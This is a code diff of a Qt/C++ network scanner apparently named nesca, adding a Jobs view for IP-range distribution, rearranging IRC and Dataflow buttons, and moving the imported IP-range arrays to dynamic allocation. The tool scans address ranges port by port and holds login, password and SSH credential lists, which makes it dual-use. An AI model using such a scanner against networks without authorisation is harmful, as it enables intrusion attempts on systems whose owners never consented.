pbScene = new QGraphicsScene();
jobRangeVisualScene = new QGraphicsScene();
ui->graphicLog->setScene(sceneGrid);
ui->graphicLog_2->setScene(sceneGraph);
@ -204,6 +206,8 @@ void setSceneArea()
ui->graphicTextPlacer->setScene(sceneTextPlacer);
ui->graphicsVoice->setScene(sceneVoice);
ui->pbgv->setScene(pbScene);
ui->jobRangeVisual->setScene(jobRangeVisualScene);
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height());
@ -214,8 +218,8 @@ void setSceneArea()
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
};
void setButtonStyleArea()
{
ui->checkKeyBut->setStyleSheet(
@ -301,8 +305,8 @@ void setButtonStyleArea()
);
};
void setSomeStyleArea()
{qApp->setStyleSheet(
{
qApp->setStyleSheet(
"QMenu{"
"color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;"
"}"
@ -349,11 +353,6 @@ void setSomeStyleArea()
"border-radius: 0px;"
"}"
" #widgetIRC {"
"border: 1px solid #525252;"
"border-radius: 0px;"
"}"
" #exitButton {"
"color: #525252;"
"border: 0px solid black;"
@ -1295,10 +1294,13 @@ void nesca_3::ChangeDispalyMode()
{
if(widgetIsHidden == false && tray->isVisible() == false)
{
ui->IRCModeChangerBut->setVisible(true);
blinkFlag = false;
widgetIsHidden = true;
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
ui->IRCModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730));
ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730));
ui->shoutBox->setFocus();
QWidget::activateWindow();
@ -1306,6 +1308,8 @@ void nesca_3::ChangeDispalyMode()
}
else
{
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
ui->IRCModeChangerBut->setVisible(false);
disableBlink = false;
blinkFlag = true;
widgetIsHidden = false;
@ -1313,6 +1317,23 @@ void nesca_3::ChangeDispalyMode()
ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730));
};
};
void nesca_3::switchToJobMode()
{
if(ui->widgetJOB->geometry().x() == 500)
{
ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730));
ui->IRCModeChangerBut->setVisible(false);
widgetIsHidden = false;
ui->widgetJOB->setGeometry(QRect(1, 44, 498, 730));
ui->JobModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
}
else
{
ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730));
ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
};
};
void nesca_3::CheckProxy()
{
saveOptions();
@ -2020,6 +2041,7 @@ void nesca_3::slotShowDataflow()
if(MapWidgetOpened == false)
{
MapWidgetOpened = true;
ui->DataflowModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
qwm = new QWidget();
qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow);
qwm->setStyleSheet(
@ -2046,13 +2068,13 @@ void nesca_3::slotShowDataflow()
}
else
{
ui->DataflowModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
delete []SendData;
delete []RecvData;
delete []qwm;
qwm = NULL;
RecvData = NULL;
SendData = NULL;
MapWidgetOpened = false;
};
};
@ -2790,11 +2812,10 @@ void nesca_3::ConnectEvrthng()
connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) );
connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) );
connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) );
connect ( ui->DataflowModeBut_2, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) );
connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) );
connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) );
connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) );
connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) );
connect ( ui->IRCModeBut_2, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) );
connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) );
connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) );
connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) );
@ -3262,6 +3283,7 @@ void _startMsgCheck()
ui->widgetIRC->installEventFilter(this);
ui->shoutBox->installEventFilter(this);
setSomeStyleArea();
ui->IRCModeChangerBut->setVisible(false);
ui->dataText->setOpenExternalLinks(true);
ui->dataText->setOpenLinks(false);
ui->rVerLabel->hide();
@ -3321,6 +3343,22 @@ void _startMsgCheck()
_startVerCheck();
_startMsgCheck();
//for(int i = 0; i < 480; ++i+=)
float step = 0;
QPen iprvPenRegular(QColor(51, 51, 51, 100));
QPen iprvPen(QColor(51, 51, 51, 100));
while(step < 480)
{
jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular);
step += 30;
};
QPen iprvPenComplete(QColor(51, 51, 51, 100));
while(step < 480)
{
jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen);
step += 30;
};
};
void nesca_3::playFcknSound()
{
@ -3473,7 +3511,7 @@ void nesca_3::STTTerminate()
globalScanFlag = false;
stt->terminate();
while(__savingBackUpFile) Sleep(100);
if(loginLst != NULL)
{
for(int i = 0; i < MaxLogin; i++) delete []loginLst[i];
@ -3510,7 +3548,24 @@ void nesca_3::STTTerminate()
delete []sshlpLst;
sshlpLst = NULL;
};
if(ipsstartfl != NULL)
{
for(int i = 0; i < importFileSize; ++i) delete []ipsstartfl[i];
delete []ipsstartfl;
ipsstartfl = NULL;
};
if(ipsendfl != NULL)
{
for(int i = 0; i < importFileSize; ++i) delete []ipsendfl[i];
delete []ipsendfl;
ipsendfl = NULL;
};
if(starterIP != NULL)
{
for(int i = 0; i < importFileSize; ++i) delete []starterIP[i];
delete []starterIP;
starterIP = NULL;
};
ui->tabMainWidget->setTabEnabled(0, true);
ui->tabMainWidget->setTabEnabled(1, true);
ui->tabMainWidget->setTabEnabled(2, true);

View File

@ -93,6 +93,7 @@ protected:
void setNickBox(QString str);
void SaySmthng();
void ChangeIRCRawLog();
void switchToJobMode();
void ConnectToIRCServer();
void CheckProxy();
void ChangeDispalyMode();

View File

@ -251,7 +251,7 @@
<enum>Qt::NoFocus</enum>
</property>
<property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255))</string>
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property>
<widget class="QTabWidget" name="tabMainWidget">
<property name="enabled">
@ -2629,33 +2629,6 @@ background-color: #000000;</string>
<string>&lt;</string>
</property>
</widget>
<widget class="QPushButton" name="IRCModeBut">
<property name="geometry">
<rect>
<x>390</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Netstalker IRC Messenger</string>
</property>
<property name="whatsThis">
<string>Netstalker IRC Messenger</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:NS-IRC</string>
</property>
</widget>
<widget class="QLabel" name="labelTracker">
<property name="geometry">
<rect>
@ -2843,33 +2816,6 @@ background-color: #000000;</string>
<string>X</string>
</property>
</widget>
<widget class="QPushButton" name="DataflowModeBut">
<property name="geometry">
<rect>
<x>440</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Online datastream</string>
</property>
<property name="whatsThis">
<string>Online datastream</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Dataflow</string>
</property>
</widget>
<widget class="QPushButton" name="secretMessageBut_1">
<property name="geometry">
<rect>
@ -3001,7 +2947,7 @@ background-color: #000000;</string>
<widget class="QLabel" name="newMessageLabel">
<property name="geometry">
<rect>
<x>300</x>
<x>265</x>
<y>53</y>
<width>70</width>
<height>10</height>
@ -3223,14 +3169,12 @@ background-color: #000000;</string>
<zorder>labelBadAddr</zorder>
<zorder>labelOffline_Value</zorder>
<zorder>switcherBut</zorder>
<zorder>IRCModeBut</zorder>
<zorder>labelTracker</zorder>
<zorder>graphicActivityGrid</zorder>
<zorder>graphicActivity</zorder>
<zorder>VoiceScanBut</zorder>
<zorder>graphicsVoice</zorder>
<zorder>clearLogBut</zorder>
<zorder>DataflowModeBut</zorder>
<zorder>secretMessageBut_1</zorder>
<zorder>secretMessageBut_2</zorder>
<zorder>secretMessageBut_3</zorder>
@ -3252,34 +3196,13 @@ background-color: #000000;</string>
<rect>
<x>500</x>
<y>44</y>
<width>500</width>
<width>498</width>
<height>730</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));border: none;</string>
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property>
<widget class="QPushButton" name="IRCModeBut_2">
<property name="geometry">
<rect>
<x>390</x>
<y>6</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:NS-Scan</string>
</property>
</widget>
<widget class="QLineEdit" name="ircServerBox">
<property name="geometry">
<rect>
@ -3560,27 +3483,6 @@ p, li { white-space: pre-wrap; }
<string>Check proxy</string>
</property>
</widget>
<widget class="QPushButton" name="IRCModeChangerBut">
<property name="geometry">
<rect>
<x>340</x>
<y>6</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC raw</string>
</property>
</widget>
<widget class="QTextBrowser" name="ircRaw">
<property name="geometry">
<rect>
@ -3636,33 +3538,6 @@ p, li { white-space: pre-wrap; }
<bool>false</bool>
</property>
</widget>
<widget class="QPushButton" name="DataflowModeBut_2">
<property name="geometry">
<rect>
<x>440</x>
<y>6</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Anomaly map</string>
</property>
<property name="whatsThis">
<string>Online datastream</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Dataflow</string>
</property>
</widget>
<widget class="QPushButton" name="nickShowBut">
<property name="geometry">
<rect>
@ -3899,7 +3774,6 @@ color: rgb(71, 71, 71);</string>
</widget>
<zorder>nickList</zorder>
<zorder>ircRaw</zorder>
<zorder>IRCModeBut_2</zorder>
<zorder>ircServerBox</zorder>
<zorder>shoutBox</zorder>
<zorder>serverPortBox</zorder>
@ -3909,8 +3783,6 @@ color: rgb(71, 71, 71);</string>
<zorder>ircProxy</zorder>
<zorder>ircProxyPort</zorder>
<zorder>IRCCheckProxyBut</zorder>
<zorder>IRCModeChangerBut</zorder>
<zorder>DataflowModeBut_2</zorder>
<zorder>nickShowBut</zorder>
<zorder>topicLine</zorder>
<zorder>IRCUTFMode</zorder>
@ -3920,6 +3792,166 @@ color: rgb(71, 71, 71);</string>
<zorder>labelIPRange_4</zorder>
<zorder>labelIPRange_5</zorder>
</widget>
<widget class="QWidget" name="widgetJOB" native="true">
<property name="geometry">
<rect>
<x>500</x>
<y>44</y>
<width>498</width>
<height>730</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
</property>
<widget class="QGraphicsView" name="jobRangeVisual">
<property name="geometry">
<rect>
<x>10</x>
<y>30</y>
<width>480</width>
<height>41</height>
</rect>
</property>
<property name="verticalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="horizontalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
</widget>
<widget class="QTableWidget" name="jobIPContractsTable">
<property name="geometry">
<rect>
<x>10</x>
<y>105</y>
<width>480</width>
<height>296</height>
</rect>
</property>
</widget>
<widget class="QTableWidget" name="jobIPWantedTable">
<property name="geometry">
<rect>
<x>10</x>
<y>425</y>
<width>480</width>
<height>296</height>
</rect>
</property>
</widget>
</widget>
<widget class="QPushButton" name="DataflowModeBut">
<property name="geometry">
<rect>
<x>440</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Online datastream</string>
</property>
<property name="whatsThis">
<string>Online datastream</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Dataflow</string>
</property>
</widget>
<widget class="QPushButton" name="IRCModeBut">
<property name="geometry">
<rect>
<x>340</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Darknet IRC</string>
</property>
<property name="whatsThis">
<string>Darknet IRC</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC</string>
</property>
</widget>
<widget class="QPushButton" name="JobModeBut">
<property name="geometry">
<rect>
<x>390</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>IP range distribution</string>
</property>
<property name="whatsThis">
<string>IP range distribution</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:Jobs</string>
</property>
</widget>
<widget class="QPushButton" name="IRCModeChangerBut">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>290</x>
<y>50</y>
<width>48</width>
<height>16</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
</font>
</property>
<property name="toolTip">
<string>Raw or normal log view</string>
</property>
<property name="whatsThis">
<string>Raw or normal log view</string>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
</property>
<property name="text">
<string>:IRC raw</string>
</property>
</widget>
</widget>
</widget>
<layoutdefault spacing="6" margin="11"/>

View File

@ -2,6 +2,7 @@
#include "STh.h"
#include "resource.h"
bool __savingBackUpFile = false;
bool horLineFlag = false;
QJsonArray *jsonArr = new QJsonArray();
static int portArr[65536] = {0};
@ -21,7 +22,8 @@ int OnLiner = 0;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
int ipsstart[4], ipsend[4],
startNum, endNum, overallPorts, flCounter, octet[4];
unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
unsigned int importFileSize = 0;
int gPingTimeout = 2000;
double ips = 0;
char top_level_domain[128] = {0};
@ -31,7 +33,6 @@ char **GlobalNegatives = 0;
char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst;
char **sshlpLst;
//char des1[64] = {0}, res[32]= {0};
char saveStartIP[128] = {0};
char saveEndIP[128] = {0};
char gRange[128] = {0};
@ -222,33 +223,33 @@ void _SaveBackupToFile()
if(flCounter > 0)
{
FILE *savingFile = fopen("tempIPLst.bk", "w");
if (savingFile != NULL)
{
for(int tCounter = gC; tCounter < flCounter; ++tCounter)
FILE *savingFile = fopen("tempIPLst.bk", "w");
if (savingFile != NULL)
{
for(int i = 0; i < 4; ++i)
for(int tCounter = gC; tCounter < flCounter; ++tCounter)
{
strcat(curIpStart, std::to_string((long double)ipsstartfl[tCounter][i]).c_str());
if ( i != 3) strcat(curIpStart, ".");
strcat(curIpEnd, std::to_string((long double)ipsendfl[tCounter][i]).c_str());
if ( i != 3) strcat(curIpEnd, ".");
for(int i = 0; i < 4; ++i)
{
strcat(curIpStart, std::to_string((long double)ipsstartfl[tCounter][i]).c_str());
if ( i != 3) strcat(curIpStart, ".");
strcat(curIpEnd, std::to_string((long double)ipsendfl[tCounter][i]).c_str());
if ( i != 3) strcat(curIpEnd, ".");
};
strcpy(ipRange, curIpStart);
strcat(ipRange, "-");
strcat(ipRange, curIpEnd);
strcat(ipRange, "\n");
fputs(ipRange, savingFile);
ZeroMemory(ipRange, sizeof(ipRange));
ZeroMemory(curIpStart, sizeof(curIpStart));
ZeroMemory(curIpEnd, sizeof(curIpEnd));
};
strcpy(ipRange, curIpStart);
strcat(ipRange, "-");
strcat(ipRange, curIpEnd);
strcat(ipRange, "\n");
fputs(ipRange, savingFile);
ZeroMemory(ipRange, sizeof(ipRange));
ZeroMemory(curIpStart, sizeof(curIpStart));
ZeroMemory(curIpEnd, sizeof(curIpEnd));
};
fclose(savingFile);
}
else stt->doEmitionRedFoundData("[_saver] Cannot open file.");
fclose(savingFile);
}
else stt->doEmitionRedFoundData("[_saver] Cannot open file.");
};
strcpy(saveStr, "[SESSION]:");
@ -380,8 +381,9 @@ void _saver()
{
while(globalScanFlag)
{
__savingBackUpFile = true;
_SaveBackupToFile();
__savingBackUpFile = false;
Sleep(10000);
};
};
@ -865,31 +867,27 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
// return res;
//};
Connector con;
#if defined(WIN32)
void _connect(void* ss)
#else
void *_connect(void* ss)
#endif
{
if(globalScanFlag)
++ipCounter;
char ip[MAX_ADDR_LEN] = {0};
strcpy(ip, ((sockstruct*)ss)->argv);
//char hostLog[256] = {0};
//strcpy(hostLog, GetHost(ip));
delete []ss;
for(int i = 0; i <= overallPorts; ++i)
{
char ip[MAX_ADDR_LEN] = {0};
strcpy(ip, ((sockstruct*)ss)->argv);
delete []ss;
//char hostLog[256] = {0};
//strcpy(hostLog, GetHost(ip));
Connector con;
++ipCounter;
for(int i = 0; i <= overallPorts; ++i)
{
if(globalScanFlag == false) break;
con._ConnectToPort( ip, std::to_string((long double)portArr[i]).c_str(), "" );
};
ConDec();
if(globalScanFlag == false) break;
con._ConnectToPort( ip, std::to_string((long double)portArr[i]).c_str(), "" );
};
ConDec();
};
void targetAndIPWriter(unsigned long int target, char *buff)
{
@ -1522,13 +1520,11 @@ int fInit(int InitMode, char *gR)
ipsend[1] = ipsendfl[flCounter][1];
ipsend[2] = ipsendfl[flCounter][2];
ipsend[3] = ipsendfl[flCounter][3];
}
else
{
int x;
char des1[64] = {0};
//memcpy(res, "\0", sizeof(res));
for(int i = 0; i < 3; i++) //Filling the range-starting ip mass.
{
@ -1539,10 +1535,8 @@ int fInit(int InitMode, char *gR)
ZeroMemory(des1, sizeof(des1));
if(ipsstart[i] > 255)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread();
#pragma endregion
return -1;
};
};
@ -1550,10 +1544,8 @@ int fInit(int InitMode, char *gR)
x = strcspn(gR, "-");
if(strstr(gR, "-") == NULL)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread();
#pragma endregion
return -1;
};
@ -1563,10 +1555,8 @@ int fInit(int InitMode, char *gR)
if(strstr(gR, ".") == NULL)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread();
#pragma endregion
return -1;
};
@ -1579,10 +1569,8 @@ int fInit(int InitMode, char *gR)
if(ipsend[i] > 255)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread();
#pragma endregion
return -1;
};
};
@ -1601,10 +1589,8 @@ int fInit(int InitMode, char *gR)
)
)
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[Error] Incorrect range.");
stt->doEmitionKillSttThread();
#pragma endregion
return -1;
};
@ -1625,178 +1611,222 @@ void FileLoader(char *str)
FILE *fl = fopen(str, "r");
if(fl != NULL)
{
while(fgets((char*)curIP, sizeof(curIP), fl) != NULL)
{
if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
{
++importFileSize;
};
ZeroMemory(curIP, sizeof(curIP));
};
ipsstartfl = new unsigned char*[importFileSize + 2];
ipsendfl = new unsigned char*[importFileSize + 2];
starterIP = new unsigned char*[importFileSize + 2];
ZeroMemory(ipsstartfl, importFileSize);
ZeroMemory(ipsendfl, importFileSize);
ZeroMemory(starterIP, importFileSize);
for(int i = 0; i < importFileSize; ++i)
{
ipsstartfl[i] = new unsigned char[4];
ipsendfl[i] = new unsigned char[4];
starterIP[i] = new unsigned char[4];
ZeroMemory(ipsstartfl[i], 4);
ZeroMemory(ipsendfl[i], 4);
ZeroMemory(starterIP[i], 4);
};
rewind(fl);
while(fgets(curIP, 64, fl) != NULL)
{
strcpy(curIPCopy, curIP);
char *ptr1 = strstr(curIP, " ");
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
ptr1 = strstr(curIP, " ");
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
ptr1 = strstr(curIP, "#");
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
{
ZeroMemory(curIPCopy, sizeof(curIPCopy));
ZeroMemory(curIP, sizeof(curIP));
continue;
};
if(strstr(curIP, "-") != NULL)
{
bool firstPart = true;
int offset = 0;
int curNIndex = 0;
char curS;
char curN[32] = {0};
for(int i = 0; i < strlen(curIP); ++i)
strcpy(curIPCopy, curIP);
char *ptr1 = strstr(curIP, " ");
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
ptr1 = strstr(curIP, " ");
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
ptr1 = strstr(curIP, "#");
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
{
curS = curIP[i];
if(curS == '.')
{
if(firstPart)
{
starterIP[flCounter][offset] = atoi(curN);
ipsstartfl[flCounter][offset] = atoi(curN);
}
else ipsendfl[flCounter][offset] = atoi(curN);
++offset;
curNIndex = 0;
ZeroMemory(curN, 32);
continue;
};
if(curS == '-')
{
if(firstPart)
{
starterIP[flCounter][offset] = atoi(curN);
ipsstartfl[flCounter][offset] = atoi(curN);
}
else ipsendfl[flCounter][offset] = atoi(curN);
offset = 0;
firstPart = false;
curNIndex = 0;
ZeroMemory(curN, 32);
continue;
};
curN[curNIndex++] = curS;
if(i == strlen(curIP) - 1)
{
ipsendfl[flCounter][offset] = atoi(curN);
};
ZeroMemory(curIPCopy, sizeof(curIPCopy));
ZeroMemory(curIP, sizeof(curIP));
continue;
};
if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0]
|| ipsstartfl[flCounter][1] > ipsendfl[flCounter][1]
|| ipsstartfl[flCounter][2] > ipsendfl[flCounter][2]
|| ipsstartfl[flCounter][3] > ipsendfl[flCounter][3])
if(strstr(curIP, "-") != NULL)
{
char tempMsg[64] = {0};
strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> [");
strcat(tempMsg, std::to_string((long double)flCounter).c_str());
strcat(tempMsg, "] String-> [");
strcat(tempMsg, curIPCopy);
strcat(tempMsg, "]");
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(tempMsg));
#pragma endregion
};
gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]);
gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]);
gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]);
gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]);
++flCounter;
}
else if(strstr(curIP, "/") != NULL)
{
char *str1;
char *str2;
char res[8] = {0};
int mask = 0;
char *ptr1 = strstr(curIP, "/");
GetOctets(curIP);
mask = atoi(ptr1 + 1);
unsigned char mOctet[4];
mOctet[0] = 1;
mOctet[1] = 1;
mOctet[2] = 1;
mOctet[3] = 1;
if(mask >= 24)
{
mOctet[0] = 255;
mOctet[1] = 255;
mOctet[2] = 255;
for(int i = 0; i < mask - 24 - 1; ++i)
bool firstPart = true;
int offset = 0;
int curNIndex = 0;
char curS;
char curN[32] = {0};
for(int i = 0; i < strlen(curIP); ++i)
{
mOctet[3] = mOctet[3] << 1;
mOctet[3] |= 1;
curS = curIP[i];
if(curS == '.')
{
if(firstPart)
{
starterIP[flCounter][offset] = atoi(curN);
ipsstartfl[flCounter][offset] = atoi(curN);
}
else ipsendfl[flCounter][offset] = atoi(curN);
++offset;
curNIndex = 0;
ZeroMemory(curN, 32);
continue;
}
else if(curS == '-')
{
if(firstPart)
{
starterIP[flCounter][offset] = atoi(curN);
ipsstartfl[flCounter][offset] = atoi(curN);
}
else ipsendfl[flCounter][offset] = atoi(curN);
offset = 0;
firstPart = false;
curNIndex = 0;
ZeroMemory(curN, 32);
continue;
};
curN[curNIndex++] = curS;
if(i == strlen(curIP) - 1)
{
ipsendfl[flCounter][offset] = atoi(curN);
};
};
mOctet[3] = mOctet[3] << 8 - (mask - 24);
if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0]
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
&& ipsstartfl[flCounter][1] > ipsendfl[flCounter][1]
)
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
&& ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1]
&& ipsstartfl[flCounter][2] > ipsendfl[flCounter][2]
)
